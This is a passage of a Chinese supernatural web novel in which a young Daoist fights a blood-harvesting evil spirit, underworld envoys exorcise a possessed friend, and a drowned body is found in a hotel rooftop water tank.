“你不是也为了躲避追杀，躲在了青城山吗？哈哈哈，吴妄，你身上的轩辕血，可值钱得很，时至今日，还有人出高价买你的下落呢。”
听到这里，吴妄的表情冷了几分。
这一瞬间，他的脑海中闪过吴家村被屠村的画面，耳畔仿佛又回荡着那些村民被杀时的惨叫以及四处逃命的哀嚎。
他不由得握紧了桃木剑，就像握紧了自己无法逃避的命运。
“你知道吴家村的事情？”
吴妄盯着小女孩的影子，声音也冷了许多。
“这个嘛，算是知道吧。”
“是谁做的？”
“世界上想要长生不老的人这么多，你慢慢去想，总会有结果的，哈哈哈——”
“……你也有参与？”
“……”
“你也有参与吧？妖女，一般人根本不知道轩辕血的事情，就算是知道了轩辕血，也根本无处可用，只有像你这种邪门歪道，才知道怎么利用轩辕血。”
吴妄说着，将桃木剑的尖端对准了那道血红色的影子。
小女孩没有急着回答吴妄的问题，只是歪了歪脑袋，似乎在思考吴妄说的话。
青龙，盘踞着，吴妄脚下的法阵，更刺眼了几分。
沈聆能够感觉到，吴妄正催动着他的法力，心中激荡的恨意，在无形中增强了他的阵法，这股力量也传递给了青龙。
小女孩看着眼前怒视着自己的青龙，微微一笑：“哎呀哎呀，生气了呢，气血方刚的年轻人，气性不要这么大，有话好好说嘛。”
“我在问你话，回答我！”
吴妄一喝，就连身后的沈聆都吓了一跳。
这是深埋在他心里的伤疤，许多年都不曾放下过的执念，现在被硬生生撕开了一道口子，他感觉到钻心的疼痛，同时，也为自己多年以来都无法报仇而感到自责，这样负面的情绪，一时之间涌上心头，燃烧着他的灵魂，似乎要将他所有的理智都灼烧殆尽。
“你想知道吴家村的真相吗？吴妄，你顶着这个姓氏，就必然要承担这个姓氏背后的仇恨，青城山的玉蘅子老头应该建议过你改名换姓吧？不过你也不是那种会听劝的人，无所谓了，反正你已经入了套，要拿下你，也不过是时间问题。”
“你……”
“没错，当年，是我说的，你也知道，如果能找到轩辕氏的后代，拿到轩辕稀血，永生之路将不是问题，我亲爱的朋友听从了我的建议，并找到了你们吴家村……后面的事情，你也知道了，遗憾的是，他们的血液都不够纯粹，经过提炼，也没办法达到真正的长生不老。”
“什么？”
“很遗憾，那些吴家村的后人，世代和外界通婚，他们的血脉已经被稀释了，效果差了很多，不过我的朋友很有耐心，他查到吴家村有一个阳日阳时阳分生的男孩，他身上的血液将是整个吴家村最纯粹的轩辕氏稀血，而那个人，就是当年吴家村的漏网之鱼，他耗费了巨大的心血，想要找到你，没想到，多年之后，你居然自己跳出来了，真是愚不可及哈哈哈——”
小女孩微微抬起头，狞笑着。
她的声音混着男人、女人、老人、小孩的声线，在笑起来的时候，就像许多人一起在微笑，只不过，这笑声中透着几分苍凉，几分狰狞，听起来令人毛骨悚然。<
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吴妄咬紧牙关，没有说话，握着桃木剑的手，有点颤抖。
沈聆看了一眼吴妄的背影，她感觉到周围的气压低得出奇：“你……你是说，当年被你们抓回去的吴家村的村民，全都被……‘提炼’了？”
“是啊，当然。”小女孩一挥手，“不然呢？你以为我们就是单纯茹毛饮血吗？愚蠢！我们需要轩辕氏的稀血，并不是直接饮用，而是需要在炼丹炉中将轩辕氏的稀血提炼成血丹，随后服用。”
沈聆倒吸了一口凉气：“你……你把吴家村所有的人，全都推到炉子里炼丹了？”
“是啊。”小女孩用天真无邪的口吻说着可怕的话，“你别看吴家村几千人，因为血液的稀有程度不同，提炼出来也不过三颗血丹，而且还不是很纯粹，可惜啊，如果……如果是吴妄本人的话，嘻嘻，我想效果一定特别好吧？吴妄，要不，你配合一点，乖乖跟我回去吧？或许我会考虑放这个小姐姐一条生路的，你不是很紧张她吗？为了她，不惜千里迢迢从梁家祖宅赶过来，哪怕面前的是自己的杀母仇人顾老五也无暇顾及。”
听到这里，沈聆惊讶地睁大了眼睛。
她没想到，吴妄在梁家祖宅的调查真的有收获，甚至，碰到的还是顾老五本人。
没错。
顾老五。
沈聆曾经在吴妄的梦境中看到过一个手持飞刀的男人，而那个男人，就被称作“顾老五”。
这是吴妄的杀母仇人，也是当年屠村的恶人之一。
“道长……”
“没事，事情太多了，我肯定要一个一个解决。”吴妄怒极反笑，他扬起下巴，看着小女孩的眼神中带着几分癫狂，语气中也透出了难以抑制的兴奋，“果然是你们啊，这样就好办了啊，我找你们找了很久，早点跳出来不就好了？我要一个、一个、杀、了、你、们！”
吴妄说着，抬起桃木剑，脚下的八卦阵法发出刺眼的光芒。
这光芒比之前任何一次都要强烈，照亮了整个房间，甚至是卫生间里的血红色影子都不由得往后退了退，像是在躲避吴妄的锋芒。
“五星列照，焕明五方，青龙听令，破！”
一声令下，青龙一声咆哮，它张大嘴，朝着小女孩冲了过去！
“哼。”
小女孩冷哼了一声，身形一躲，青龙冲过去的时候，冲破了那道暗红色的影子，但小女孩的身影却闪到了吴妄面前。
她抬起手，一道血鞭自上而下打来！
吴妄眼疾手快，抬起手，用桃木剑挡住了对方的攻势，金色的屏障瞬间张开，将吴妄和沈聆保护在内。
“死！”
小女孩血红的眼睛里闪过一丝杀气，血鞭的煞气如同旋风利刃一般打碎了空间里的所有物品，包括房间里的陈设以及沙发上的尸体。
瞬间，散为齑粉。
“你就这点能耐吗？”吴妄抵开了小女孩的血鞭，反手桃木剑转过一个弧度，朝着小女孩刺去。
小女孩往后退了几步，两人就这么一来一回地打了起来。
198. 远处的钟声
吴妄和小女孩打斗着，在他们俩的身后，青龙和巨大的血红色影子也在缠斗。
青龙缠绕在血红色的影子上，用爪子抓破了血红色巨影的手，但下一秒，血红色巨影便长出了一条新的胳膊，抓住了青龙缠绕着自己的身体。
在小小的空间内，金色的光与血红色的光交错着，将茶几、沙发、柜子全都打碎，虚幻构筑的空间被两人的锋芒打碎，最后露出了幻境背后灰黑色的虚妄。
吴妄张开了一道结界，将沈聆护在其中，沈聆看着前后左右上下全都是暗黑色的虚无空间，意识到他们早已经游离在现实空间之外。
这里不是三维空间，也不像是四维空间。
在这里，没有时间和空间的概念。
他们浮在一片虚浮缥缈之中，不知道从何处来，也不知道从哪里去，就这么停留在这个完全静止的空间之中。
沈聆不由得感到一阵自心底升腾而起的恐惧，如果不是吴妄及时出现，或许她就将永远被滞留这个空间，不死不灭，不生不老，永远以魂体的形式存在，她的□□不知道存在于何处，但她的意识将永远和□□分开。
没有将来，只有过去。
时间在这里也停止了前行，所有的一切，都被吞噬在黑暗之中。
希望和绝望，在这里也没有任何区别，只能在绝望的翻涌之中，逐渐变得平静，开始认清现实，最后沉默，在沉默中麻木。
这里，就是永生的地狱。
传说十八层地狱，便是这样的情况。
而此时此刻，这里，和十八层地狱又有什么区别？
吴妄和小女孩在远处打斗着，他们的动作很快，沈聆看不清楚他们的身影，只能在不同光芒的交错之中依稀听到血鞭和桃木剑打在一起的声音。
刚开始，金光和煞气不相上下，但渐渐地，金光似有退却之态，煞气反而愈演愈烈，大概盖过金光的阵仗。
只见那阵法之中，吴妄的瞳孔闪过一缕金光，他微微眯起眼睛，看见几步之外的煞气中站着一个七八岁的女童，女童浑身被黑色的煞气所缠绕，此时此刻，她已经显出了本体的状态，而不是某个模糊的黑影。
她手中是一道血红色的长鞭，那长鞭被煞气包裹，煞气缠绕着长鞭，她杀红了眼睛，那双眼仿佛被血液凝固其中。
手中的桃木剑轻颤，剑身浮现出朱砂纹路，吴妄踏着罡步疾退，小女孩挥出的光鞭从他鼻尖擦过，打在他身后，一鞭划破了空间，吴妄从袖子里甩出三张符咒，那三张符咒在接触到鞭梢的瞬间，便化作青烟消散。
“以血养煞，果然棘手。”
吴妄低喝一声，剑指煞气凝聚的方向，桃木剑应声暴涨三尺，那女孩子忽然发出奇怪的笑声，她手中的长鞭分化成了九头蛇的模样，每颗蛇头都瞪着血红色的双眼，张大着血红的嘴，朝着道长扑咬了过来！
“破！”
道长挥舞着桃木剑，桃木剑落下的瞬间，斩断了那些蛇头，可蛇头掉落后喷出的血液却溅到了吴妄身上，他暗道一声不好，往后退了几步，但还是沾上了几滴。
“嘶嘶……”
血液沾染在他的衣服上，如同硫酸一样，侵蚀了他的衣服和皮肤，他感觉到一阵灼烧的疼痛，瞬间有许多煞气如同蛇一样从那被灼烧的伤口钻入体内，吴妄咬牙挥了一下桃木剑，忙定下心来，念了一遍静心咒，身上的煞气才被驱了几分。
“道行还不错啊，小子，你这年纪轻轻能有此修为，看来玉蘅子那个老头也是有用心在教导你了。”
小女孩狞笑着，她用传音入秘之术，让她的声音近在咫尺。
她话锋一转。
“只可惜……你今天就要葬身于此了！灵元草和轩辕稀血，我都要！”
她说着，身上的煞气暴涨了许多。
在她身后，那巨大的血红色影子膨胀了许多，甚至披上了坚硬的铠甲，如同古代的披甲持刀的将军，举着长刀，对着青龙砍了下来。
剑刃斩落的瞬间，吴妄脚下爆开了一条翻涌的血河，青龙应声被斩断，吴妄心中一凛，抬手张开结节抵挡那血红色的长刀，在长刀砍在金色结节的那一刻，发出巨大的“铛”地一声，这声音如天地洪钟一般震耳欲聋，沈聆感觉到耳朵嗡嗡作痛，她捂着耳朵蹲了下来，感觉到脑袋嗡嗡作响，巨大的血色迷雾瞬间爆开，笼罩了眼前的一切。
在她再一次睁开眼的时候，发现周围的烟雾已经散去。
只见不远处，吴妄的身体微微前倾，他用桃木剑支撑着自己的身体，呼吸急促而紊乱，额头上冒出了一层细汗，顺着脸颊滑落，那把桃木剑在他的手中微微颤抖着，仿佛也感受到了主人的恐惧和不安。
他的眼睛死死地盯着几步之外的小女孩，小女孩的身影在他的眼中变得模糊不清，仿佛被一层迷雾笼罩着，虽然隔着一定的距离，他依然能够感觉到小女孩身上散发出的那种诡异的气息，让他的脊梁骨都不禁发凉。
“嘻嘻……”
小女孩依旧歪着头微笑着，身周的鞭子依旧轻轻晃动着，就像是一条有灵性的蛇，围绕在主人身边，听从主人的一切吩咐。
但吴妄的状态却不是很好，血液，顺着他的桃木剑滴落，染血的桃木剑轻轻发出嗡鸣，似乎在回应吴妄的愤怒，他感觉到一阵真气逆行，从丹田涌上了喉咙，下一秒，他喷出了一口血。
“吴妄！！”
沈聆眼见吴妄的情况不好，她想赶过去吴妄身边，但吴妄抬起手，封住了她身周的结界，将她固定在自己所在的一方之地。
吴妄低头咬破了自己的手指，打算将指尖的鲜血涂在刀刃上，他催动自己的真气，重新张开了被打碎的八阵图。
小女孩见了，轻笑道：“怎么，还想着保护她？可真是感人啊，小伙子，但你现在都自身难保了，你们俩不过是前后脚上黄泉路的区别罢了……”
话未说完，突然从远方传来了一阵钟声。
这钟声悠扬而深远，仿佛穿越了时空的界限，带着一种震撼人心的力量，它如同破晓的第一缕阳光，穿透了周围的黑暗，将那无尽的夜幕撕裂开来。
三人不约而同地抬起头，目光被那道隐隐约约的亮光所吸引。
那束光宛如来自天堂的指引，自上方倾泻而下，准确无误地落在了吴妄和沈聆的身上。
一
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个声音从远方传来。
“罪过，你为祸人间数百年，现在仍旧不知悔改，孽障，竟不知道有几人的性命折在你身上！”
这声音浑厚低沉，并不陌生。听到那声音，吴妄身体一颤，沈聆也认出了那声音。
“是……玉蘅子真人！”
“师傅。”
只听那声音长长一叹气。
“你啊，翅膀没有长硬，就着急着飞，不摔死你才怪。”
下一秒，吴妄听到了拂尘扫过的声音，他手中的桃木剑像是回应这拂尘一样，嗡鸣了一声，脱离了吴妄，飞到了那光束之中。
小女孩一直微笑的表情，终于改变了。
上扬的嘴角压了下去，她气急败坏地看着那光束投来的方向：“你这老头，又来坏我的好事？怎么你们青城山的人都这么多管闲事？！”
“非也非也，你现在可是对我们青城山的弟子下手，作为青城山掌门，我自然要护犊子了，另外……替天行道，扫除阴邪，乃是我们修行之人的本分，孽障，我看你今日往哪里去。”
他说着，桃木剑在半空中划开了一道口子。
随后，一黑一白两个影子从那时空的裂口中出现。
最开始是两个光点，这两个光点相互纠缠着，最后放大，变成了一黑一白两个人影。
一个是不苟言笑的男人，一个是妩媚可人的女人。
他们一个穿着黑色的衣服，一个穿着白色的衣服，就这么站在了桃木剑之前，冷冷地看着几步之外的小女孩。
小女孩看到这两个突然出现的人，脸色陡然一变。
“你、你们……”
作为阴神，她自然知道这两个人是谁。
黑白无常。
女人微微一笑：“终于找到你了，我说呢，走遍人间都找不到你，原来藏在了亡灵的梦魇里。”
男人眯起眼睛，看着小女孩：“还不快快伏法，与我同入地府，面见判官大人！”
“做不到！”
小女孩说着，一抬手，从掌心涌出一团浓郁的黑气。
那黑气之中瞬间涌出许多哀嚎的面孔，像是一个个被囚禁在她煞气中的灵魂，这些亡灵哀嚎着、尖叫着，朝着众人卷来，在小女孩身后，身披铠甲的亡灵将士挥剑朝着黑白无常砍了下来！
“黔驴技穷！”
白无常谢必安甩出了勾魂索，那黑色的长锁链瞬间贯穿了煞气，缠绕在亡灵将士身上，瞬间将它粉碎成了一团血雾。
黑无常范无咎一挥手，手中幻化出了一把白色的哭丧棒，他用力一挥，瞬间将铺天盖地袭来的恶灵清扫而空。
待到血雾散去之后，早已没了小女孩的身影。
这一招金蝉脱壳，倒是用得好。
“还是让他逃了……”范无咎咬牙。
“没事，既然我们已经查到了她就在陵川市，找到她只是时间问题。”谢必安安慰道，转身看着吴妄和沈聆，“你们俩小家伙，胆子还挺大，才几年的道行就敢来硬拼邪神了？哪怕是轩辕稀血和灵元草加在一起都不够人家打的，要不是玉蘅子及时定到你们的位置，你们现在早就灰飞烟灭了。”
199. 中邪
在小女孩消失之后，周围的煞气也在逐渐散去。
只听见远方传来了玉蘅子真人的声音，他一声“一气破万法”，破除了这虚无空间，众人便回到了世纪大酒店18楼的房间内。
“道长，你没事吧？”
沈聆忙跑到吴妄身侧，凑近一看她才发现，吴妄的状态不是很好，他浑身涌动着似有若无的煞气，那一丝丝煞气从方才被灼烧的地方涌出，缠绕在他身侧，他的眼睛通红，甚至有黑色的丝线爬上了眼白，不止如此，在全身经络蔓延的地方，也缠绕上了暗红色的煞气，这煞气就像是已经进入了他的血液，顺着他的血液，流经全身每一处。
“道、道长，你没事吧？”
吴妄抬起头看了一眼沈聆，像是安慰她一样，微微一笑，但是下一秒，他感觉到真气上涌，那翻腾的煞气搅乱了他体内的真气，他一低头，又吐了一口血。
“道长？！”
谢必安走近吴妄身边，她蹲下身，按了按吴妄的脉，发现他此时全身的真气已经紊乱，并且那阴神留下的煞气在他体内作祟，一次次想突破他体内真气的桎梏，冲上心尖。
“他的情况不是很好啊……老头儿，我看你还是把你的宝贝徒弟带回去青城山疗伤吧。”
谢必安看了一眼悬浮在半空的桃木剑。
那桃木剑轻轻颤抖了一下，在空中转过一个弧度，随后，一个半透明的身影出现在吴妄面前。
吴妄抬起头，看见是师傅玉蘅子的身影。
只不过这只是他在千里之外投映的影子，并不是他本人。
有较高修为的人，不只是能够做到传音入秘，甚至能做到神游幻境，将自己的念头投射到千里之外，化为分身。
玉蘅子，就是天下之间少有的能做到这一点的人。
真人抚摸着白色的胡子，微微低着头，那眯起来的眼睛透露着几分担忧，视线在徒弟身上扫了一圈后，他便大概明白了吴妄此刻的情况。
抬手，玉蘅子真人摸了摸吴妄的脑袋。
“你啊，忘记为师教你的了吗？在使用真气的时候，切不可浮躁。”
“但是师傅，那阴神和吴家村……”
“且不论她说的是真是假，你难道判断不出她是故意要激起你的怒意，让你急火攻心，才好露出破绽吗？”
“我……”
“为师知道，你不可能放下吴家村被灭村的事情，但是急躁往往无益于事情的解决，唉，哪怕你方才能平心静气，也不至于此刻被煞气侵体，落得这狼狈模样。”
吴妄低下头，沉声说道：“对不起师傅，丢了青城山的脸了。”
“这倒是次要，毕竟我们青城山也不靠什么脸面过活，就是你，估计得回山一趟，用寒冰池化去你身上的煞气，慢慢疗伤了。”
“是。”
吴妄点了点头，随后像是想起了什么，看向了沈聆。
玉蘅子真人自然知道他这眼神是什么意思。
“你放心吧，那妖孽已经不在世纪酒店了，沈聆，你想做的事情，尽管去做，如果有需要，孟婆他们也会出手帮你的。”
听到这里，沈聆略微讶异。
“孟婆也在这里吗？”
谢必安微微一笑：“对啊，孟婆……不，应该叫子涵，她在酒店里玩得可开心了，现在子楼下的那个花园迷宫里，你放心吧，我们这几天都在，你要查的事情，同时也是我们要调查的事情。”
听到这里，吴妄才稍微安心了一点。
毕竟沈聆身上有灵元草，这可是对修炼之人大补的东西，阴阳两界全都觊觎这株小草，就算不是那个小女孩，或许也会有其他人找上门。
当时秦琴将这株草交给了沈聆，是看中沈聆的纯阴体质适合滋养灵元草，但也同样给沈聆埋下了祸患，这像是一个定时炸弹，不知道什么时候会引爆，如果吴妄不在身边，沈聆将像是待宰的羔羊，十分危险。
“回去吧，这里有我们。”
黑无常也这么说。
见此，吴妄也就不再坚持。
他甚至自己现在的情况也确实不是很好，急需回去青城山闭关调养一段时间，只有重新调整好自己的真气，他才可能重振旗鼓，为族人报仇。
这么想着，他收回了桃木剑，并慢慢站起了身。
他闭上眼睛，默念了几遍清心咒，重新调整了一下身体里的真气，将那扰乱思绪的煞气稍微压下去了一点，随后，睁开了眼睛看向众人。
这一次，他的眼睛恢复了正常。
“那么，我先回去一趟青城山，感谢二位出手相助，日后如有需要，吴某定然随叫随到。”
白无常一笑：“嗨哟，还有我们俩解决不了的事情？如果真的有那样的事情，就算你来了也没啥用，多一具尸体罢了，去吧去吧。”
黑无常没有说话，他常年面若冰霜，但却也微微点了点头。
吴妄补充了一句：“那么，沈聆就托付给二位，我担心那阴神还会卷土重来，不过有二位和孟婆在，相信她也不敢放肆。”
白无常见状，倒是好奇了起来：“小子，你……是以什么身份拜托我们？伙伴？战友？还是……男朋友？”
听到这里，沈聆脸一红。
吴妄也不太自然地咳嗽了一声：“我……我还是先回去了，再、再见。”
他说着，一溜烟离开了房间，看那背影似乎煞气对他也并没有什么影响。
沈聆难为情地看着黑白无常，一时间不知道说什么好，倒是黑白无常，一副过来人的表情看着沈聆。
玉蘅子真人的身影闪烁了一下，他捻着胡子，看了看沈聆，最后消失了。
他那眼神，像是有许多话说，却又像是不好说出口。
或许是曾经没能继续的缘分，又或许，是一些不好说出口的嘱托。
现在已经是早晨了，微微的亮光从窗户投入房间里，略微照亮了窗前的一小块地毯，没想到在幻境里待了一会儿的时间，在外面已经过了一夜。
或许，这个世界上，真的有无法用常理推测的时间流逝，“天上一天，人间一年”的说法，也并非谬误。
沈聆转念一想，现在不是考虑那些事情的时候，忙看向了黑白无常：“两位大人，实不相瞒，有件事情想拜托二位帮忙。”
“你说。”
“我有个朋友，宋明夷，二位之前也见过的，她这次也和我一起到世纪酒店来了，在刚才阴神出现的时候，她和我一同被卷入另一个空间里，但是我始终没有在结界里看见过她，我……我想知道她在哪
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里？”
黑白无常对视了一眼，黑无常晃了一下手中的哭丧棒，他脚下张开了一个法阵，从那法阵中发出了暗色调的光，这些光束汇聚在他手中的哭丧棒上，他用力一挥，这光芒便投向了房门口。
“嘻嘻……”
一阵诡异的笑声在房门口响起。
沈聆定睛一看，发现正是宋明夷！
只见宋明夷像幽灵一样，静静地扒着门框。她的身体微微前倾，仿佛随时都会扑进来，而最引人注目的，是她那露出的半个脑袋，正对着他们微笑。
“嘻嘻……”
那是一种诡异的微笑，让人不寒而栗。
沈聆发现，此时此刻，宋明夷的眼睛完全是黑色的，没有眼球眼白的区别，一双眼睛就像被黑暗吞噬一般。
她的嘴唇咧开，露出一排洁白的牙齿，但那笑容却让人感觉不到一丝温暖，反而充满了阴森和邪气。
众人都被这突如其来的一幕惊呆了，一时间谁也说不出话来。
然而，宋明夷似乎并不在意他们的反应，她开心地往前迈了几步，这一步却让所有人都倒吸了一口凉气——她居然是四肢并用地爬行！
她的动作异常灵活，就像一只蜘蛛一样，迅速而又悄无声息地向前移动。每一个动作都显得那么不自然，仿佛她已经失去了对身体的控制，完全被某种邪恶的力量所支配。
“明夷！”
沈聆忙追了过去，见状，宋明夷却往后退几步，随后像是受惊的野兽一样，四肢并用地跑开了。
沈聆跟上前来，只看到在走廊的另一头，宋明夷如同一只野兽一样跑向了走廊另一头的安全通道。
沈聆忙跟了过去，房间里的黑白无常对视了一眼，随后两人一转身，化成两股黑白烟雾消失在了房间里。
沈聆跟着宋明夷跑到了安全通道，从楼梯的缝隙里抬起头，看见宋明夷朝着19楼的天台跑去，她就像是一只动作敏捷的猩猩，一边跑着，一边笑着，还时不时回过头看着沈聆，似乎在引着沈聆去某个地方。
沈聆顾不得许多，追了过去，她三步并作两步跨上了台阶，最后跑到了天台，一眼便看到宋明夷在天台的边缘微笑着，朝着她招手。
“明夷！回来！那边危险！”
沈聆往前走了几步，没想到宋明夷更是跳上了天台的边缘，距离坠下就只有不到五十厘米的距离。
沈聆一看吓得脸色苍白。
“明夷！回来！”
宋明夷的一双眼睛漆黑着，她歪着头看着沈聆，似乎在揣摩眼前这个人是敌是友，她中邪了一般，只更天台边缘挪动了一点，天台的风很大，她就像是风中摇摇欲坠的落叶，随时可能被从19楼吹落。
“嘻嘻……”
就在这时，宋明夷身边出现了一个黑色的影子。
黑无常显形了！
一团黑色的烟雾过后，黑无常突然出现在了宋明夷身后，他悬浮在半空，一手按在了宋明夷的脑袋上，随后，像是将一团暗红色的煞气从她的身体里抽了出去。
那煞气一丝一缕被抽走，宋明夷的眼睛也一点点从黑色变成了正常的眼睛，最后，只见宋明夷的身体抽搐了一下，随后四肢瘫软地往后一倒，坠下了高楼。
“明夷——”
200. 天台水箱
“不要——”
沈聆一声惊呼，她看到宋明夷的身体摇晃了一下，从天台的边缘掉了下去。
沈聆忙跑到天台的边缘，她从天台的边缘探出头去，自下而上吹起的气流卷起了她的长发，她看见白无常提着宋明夷的领子，将她提了起来。
“好家伙，这小女孩看着瘦瘦的，怎么这么沉？”
白无常疑惑地皱起眉头，她提着宋明夷的衣领，像提一袋重物一般将宋明夷放在了沈聆旁边，宋明夷软软地靠在沈聆身上，揉了揉自己的鼻子，看起来睡得正香。
沈聆仍旧不放心地看向黑无常：“她……”
黑无常一抬手，捏碎了方才从宋明夷身上抽出的煞气，淡淡地说道：“她没事了，只不过因为是肉体凡胎，她的身体承受不了太久的煞气，所以现在有点消耗过度罢了……”
白无常垂下眼眸，看着宋明夷：“我想，她睡一天醒来应该就没事了。”
听到这里，沈聆才算是松了一口气。
“好的好的，谢谢二位大人。”
说来，宋明夷的身体素质似乎也挺好。
在陵川一中的时候，她也曾经被鬼魂附体，中邪倒是没有留下后遗症。
从这一点来说，宋明夷也算是某种程度的“天赋异禀”。
沈聆看着宋明夷沉睡的侧脸，回想起方才她满身煞气的模样，陷入了沉思。
她记得，刚才宋明夷突然出现在房门口，探出个脑袋来，随后又三步一回头地看着她，与其说是在逃避，更不如说像是在……
引蛇出洞？
她在引着她到这个地方来？
如果真的是这样的话……
她为什么要把大家引来这个地方？
沈聆这么想着，回过头，环顾了一圈。
天台上，各种管道交错纵横，仿佛是一个混乱的迷宫，它们有的蜿蜒曲折，有的则横七竖八地躺着，将整个天台的空间分割成了一个个不规则的区域。
在这片凌乱之中，有两个灰白色的大水箱显得格外引人注目。
它们静静地矗立在不远处，宛如两座沉默的巨人，给人一种沉稳而庄重的感觉，水箱的表面略微有些斑驳，似乎经历了岁月的洗礼，但依然坚固无比。
除了水箱，还有几个横立在天台上的通风管。
在通风管道口，通风扇的扇叶在不停旋转着，发出嗡嗡的声响，它们将酒店里的空气源源不断地排出到天台之外，形成了一股持续的气流，让人在天台上也能感受到微风拂面的凉爽。
沈聆看着周围的一切，思绪，也在一点一点蔓延。
是谁，借助了宋明夷的身体，将她引到这个地方来的？
是那个阴神吗？
但按照刚才的情况来看，在黑白无常出现的时候，她第一时间已经逃之夭夭了，在这种情况下，再在黑白无常的眼皮子底下搞小动作，似乎不太合理。
那么换个思路考虑呢？
会不会……
是因为阴神的仓皇逃离，导致了某个人（亡魂）不再被掌控在阴神手中，从而有了喘息的机会，因此通过宋明夷的身体，想告诉沈聆某些关键信息？
沈聆沉思着。
如果真是如此，那么对方更像是……
打算卖一个人情给她。
是的，更像是这样的说法。
知道她着急同伴的下落，就用为数不多的煞气附在宋明夷身上，一方面，将宋明夷还给了他们，另一方面，也能通过宋明夷，传递某些相对关键的信息……
沈聆的视线落在几米开外的大水箱。
这是酒店的储备用水和日常用水，按照大酒店的规定，酒店的日常用水都会在天台的水箱进行沉淀消毒，从备用水箱将水过滤到日常用水的水箱，从而再通过管道，给下面的客人使用。
这是天台上为数不多的能够藏东西的地方。
沈聆感觉到情况不对，一种可怕的念头在她心头浮现。
她小心翼翼地将宋明夷靠在了旁边的烟囱上，来到了两个大水箱前。
出于耐久性、安全性的考虑，这两个水箱是聚乙烯材质的，外面涂着一层浅灰色的涂料，在水箱左侧，有长梯，能够爬到水箱顶部。
沈聆来到常用水箱旁，顺着梯子爬了上去，挂在梯子顶部的，是一本工作日志，里面勾选着消杀工人对酒店常用水的消杀记录和消杀时间。
在站上水箱顶部的时候，她感觉到迎面的风吹得她脑袋疼，她能一眼看到陵川市最东边的街区，低下头，眼前有一个圆弧形的盖子，盖子只是简单地扣了起来，没有上锁。
她打开了水箱的盖子，费力地将盖子打开后，看见里面是深不见底的水池。
黑漆漆的水箱里，依稀可以看到水面的波浪。
沈聆看着水面上自己的倒影，拿出手机，打开了手机的照明功能，对着水箱里照了一圈，并没有发现有什么奇怪的东西，只是在水箱底部有许多个圆形的空洞，过滤消毒后的水应该就是从这些管道口提供给楼下的住户的。
沈聆稍微松了一口气。
她盖上了水箱的盖子，并爬下了梯子，朝着备用水箱而去。
备用水箱的梯子明显有更多的尘埃，并且更加老旧一些，世纪酒店的工人似乎对备用水箱的消杀工作偷工减料了，在备用水箱梯子上，那本工作日志已经很久没有人碰过，上面甚至从去年十二月份开始便没有任何检查、消杀记录。
沈聆来到备用水箱的盖子前，和之前一样，在费力地打开水箱盖子后，她感觉到一股十分刺鼻的酸味，这味道混着几分消毒水的气息，闻起来有点儿呛鼻，沈聆不由得咳嗽了几声。
她低下头，看着备用水箱，水箱里黑洞洞的，仅有的光线从水箱的盖子投入在水箱内，略微照亮了一块圆形的区域，水面泛着波纹，她看见自己的倒影就这么在水面上同样注视着自己。
像是，有话要说。
“嗯？”
突然感觉到有哪里不太对劲，沈聆拿出自己的手机，打开了手机的照明功能。
光线，刺眼的光线，划破了水箱里的黑暗，照亮了备用水箱。
备用水箱里的水，只有三分之二左右，这里的水质明显比常用水箱要浑浊许多，在水箱左侧有一个联通常用水箱的管道，上面挂着滤网，在滤网前，有一个扭曲的物体正黏连在滤网上，随着排水而被弯折、扭曲。
沈聆眯着眼睛细细看去，竟发现那是……一具尸体！
是的
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。
这具尸体已经完全肿胀起来，仿佛被吹起的气球一般，浑身上下的皮肤都呈现出一种令人心悸的惨白色。
由于日常，用水都是从备用水箱抽到常用水箱的，两者之间靠抽水泵形成的压力实现水流的抽调，而处于备用水箱中的尸体，就因为这股水流，这具尸体就像是被一只无形的手紧紧地“按”在了滤网上，硬生生隔在了两个水箱之间。
水压的力量是如此之大，以至于尸体的四肢都被扭曲折叠在身体上，呈现出一种极其诡异的姿态。
从远处看去，这具尸体就像是一个被残忍折断的玩偶，失去了原本的形状和完整性。
它的身体紧紧地贴附在两个水箱之间的管道口，仿佛是被人随意丢弃的玩具，微微抬起头，尸体的颈椎后折了九十度，看着沈聆的方向。
她死不瞑目啊。
似乎有什么话说。
有什么，难言之隐……
沈聆吓了一跳，腿一软，差点从水箱口掉下去。
还是黑无常从后面抓住了她的领口，拉了一把后，她才重新站稳身子。
“……谢、谢谢。”
沈聆脸色惨白地转过头，不忍心再看水箱。
黑无常扫了一眼备用水箱：“看来，这阳间没有入地府的亡魂，还不少，喂，这个人，在生死簿上能查到吗？”
站在水箱下的白无常闻言，轻轻一抬手，面前幻化出了一本笔记本。
她一动手指头，这本凭空编出来的书本便自动翻页了起来。
她查了一番后，抬起头看向了黑无常：“黎磊，二十四岁，三月十三日，卒于丑时三刻，此人的寿数原是六十，却无辜横死，死后魂魄未入地府，不知所踪。
黑无常不悦地皱眉：“好家伙，这又多了一个，让上头知道不得骂死我们？”
他眼角余光，看到身边的沈聆脸色不是很好。
“你还好吗？”
“我……yue……”
沈聆没忍住，一下子呕了出来。
站在水箱下的白无常见了，忙后退几步，差点儿被沈聆呕出的东西溅到。
“小姑娘啊，你可不兴这样‘高空抛物’啊！”
“对、对不起，我没见过这场面，我……yue……”
黑无常扶额：“算了算了，你不是有个朋友是警察吗？你还是让他来处理这东西吧。”
“好……”
“那我们先走了。”
“等、等等……大人请留步。”
沈聆拉住了正要走掉的黑无常。
“嗯？你还有什么事情？我们可不懂你们阳间验尸的那一套，去找你们的仵作吧。”
“不是……二位大人能查到顾倩倩的魂魄吗？我……我觉得……是她附在了明夷的身体上，让我们找到她的尸体的。”
黑白无常对视了一眼后，白无常耸了耸肩，解释道：“我们能找到的，是阳间的魂魄，但黎磊的魂魄，已经被煞气入侵，不属于常规的阴魂，如果你真的想见到他的魂魄……小姑娘，你不是阴厨吗？我想如果他真的想见你，自然会在烧香后出现。”
“您的意思是……招魂？”
“是。”
“我明白了。”
201. 黎磊
陵川市公安局今天又接到了一宗大案。
在世纪大酒店的天台的水箱里，发现了一具女尸。
尸体已经在备用水箱里泡了小半个月了，因为备用水箱里有残留消毒剂、且尸体与空气接触面较少等原因，尸体腐烂程度有所降低。
刑侦人员封了天台，并安排专人将尸体从备用水箱里捞了出来。
在捞尸体的过程中，因为尸体长时间被水流按压在过滤网上，已经出现了严重的骨折变形，皮肉已经腐烂了许多，在关停抽水泵的时候，尸体依旧粘连在滤网上，警方不得不打开整个水箱，将尸体连同滤网一起搬出来。
尸体因为长时间泡在水里，皮肉已经全都松了，鼓鼓囊囊的，像是一个充气的皮球。
法医用了很大的力气，才将尸体搬上了法医的车辆。
在离开之前，法医告诉了林凌一件事情，黎磊，是淹死的，但是具体淹死的地方是水箱还是其他地方，还有待进一步查证。
